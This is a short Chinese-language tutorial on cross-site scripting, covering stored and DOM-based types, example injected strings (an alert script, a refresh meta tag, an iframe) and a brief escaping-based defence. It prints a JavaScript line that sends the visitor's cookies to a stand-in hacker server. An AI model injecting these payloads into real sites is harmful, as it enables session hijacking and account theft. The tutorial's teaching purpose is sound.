1.XSS又称CSS, cross sitescript, 跨站脚本攻击,是web程序中常见的漏洞
- XSS属于被动式且用于客户端的攻击方式
-
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。
-
XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。
2.原理: 攻击者向有XSS漏洞的网站中输入恶意的html代码,当用户浏览该网站时,这段html代码会自行执行,从而达到攻击的目的,例如盗取用户的cookie, 破坏页面结构,重定向到其它网站。
3: 实施XSS攻击需要具备两个条件
- 需要向web页面注入恶意代码
- 这些恶意代码能够被浏览器成功的执行
4:常见输入的恶意XSS字符
- XSS 输入通常包含js脚本,如弹出恶意警告框: <script>alert("XSS");</script>
- XSS 输入也可能是 HTML 代码段,譬如:网页不停地刷新 <meta http-equiv="refresh" content="0;">
-
嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>
5.xss攻击的主要目的
- 想办法获取目标攻击网站的cookie,因为有了cookie相当有了seesion, 有了这些信息就可以在任意能接近互联网的pc登录站点,登录做一些破坏。
6. 预防措施
- 防止下发界面现实html标签, 把</>等符号转义
7.XSS攻击能做些什么
- 窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码
-
var i=document.createElement("img");document.body.appendChild(i);i.src = "http://www.hackerserver.com/?c=" + document.cookie;
- 读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
- 前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。